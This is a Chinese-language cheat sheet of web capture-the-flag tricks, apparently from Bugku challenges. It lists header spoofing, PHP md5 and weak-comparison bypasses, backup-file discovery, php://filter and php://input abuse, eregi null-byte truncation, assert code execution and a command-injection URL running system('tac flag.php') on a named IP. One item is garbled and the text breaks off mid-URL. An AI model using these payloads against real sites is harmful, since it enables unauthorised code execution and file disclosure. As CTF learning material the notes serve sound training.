1, X-Forwarded-For: 用来表示 HTTP 请求端真实 IP,伪造本地访问。
在HTTP请求头里设置:X-Forwarded-For: 127.0.0.1,修改请求IP为本地IP。
2,在HTTP请求头里设置, referer: 告诉服务器该网页是从哪个页面链接过来的,服务器因此可以获得一些信息用于处理。
3, 常用编解码:md5, url编码(有很多%的),base64(结尾是=),HTML页面内容utf-8编解码
4,PHP里比较值不相等,md5,sha1编码之后的值相等,要绕过,构造数值就可以了,数组的值为数字
https://blog.youkuaiyun.com/anjiaowangmenghan/article/details/77624995
两个md5相同但值不同的字符串如:QNKCDZO和240610708
5,找不到线索时,先访问robots.txt,这个是习惯性,也可以御剑扫出来
6,看看根目录下有没有index.php.bak文件
7,不能是数字,还要求满足==1,那么在数字1之后加上一个字母即可,例如num=1a,PHP在判断数字相等时,会将字符串转换为数字来比较
8,&#开头编码后的,是采用Unicode编码
9,
http://114.67.246.176:10183/?hello=system('tac flag.php')
passthru()执行类似system()的功能
10,burp intruder 暴力破解密码
11,
url/?p=php://filter/read/convert.base64-encode/resource=index.php
这句话的意思是我们用base64编码的方式来读文件index.php;这时页面会显示出源文件index.php经过base64编码后的内容,然后经过base64解码就可以看到flag
12,备份文件.bak md5数组为NULL类型相等 构造数组参数kekeyy1[]=[1]&kekeyy2[]=[2]
13,弱比较:$id=“0xd” 0开头的字符串和整型比较会转化为0
14,这里用伪协议 php:// 来访问输入输出的数据流,其中 php://input可以访问原始请求数据中的只读流。这里令 $a = “php://input”,并在请求主体中使用POST提交字符串 bugku is a nice plateform!
php://filter用于读取源码
php://input用于执行php代码
15,
strlen($b)>5 and eregi("111".substr($b,0,1),"1114") and substr($b,0,1)!=4
ereg() 函数或 eregi() 函数存在空字符截断漏洞,即参数中的正则表达式或待匹配字符串遇到空字符则截断丢弃后面的数据。
源码中待匹配字符串(第二个参数)已确定为 “1114”,正则表达式(第一个参数)由 “111” 连接 b 的 第 一 个 字 符 组 成 , 若 令 s u b s t r ( b 的第一个字符组成,若令 substr( b的第一个字符组成,若令substr(b,0,1) = “\x00”,即满足 “1114” 与 "111"匹配。因此,这里假设 $b = “\x0012345”,才能满足以上三个条件。
16,assert漏洞可以执行php代码,php中读取目录下文件的方法:
最简单的是print_r(scandir($dir)),还可以利用print_r(glob("*.*"))
scandir() //作用能扫描文件夹下的目录和文件,返回值为所有文件名组成的一个数组
show_source() //显示文件源码
highlight_file() //和show_source()函数是一个意思
构造:
http: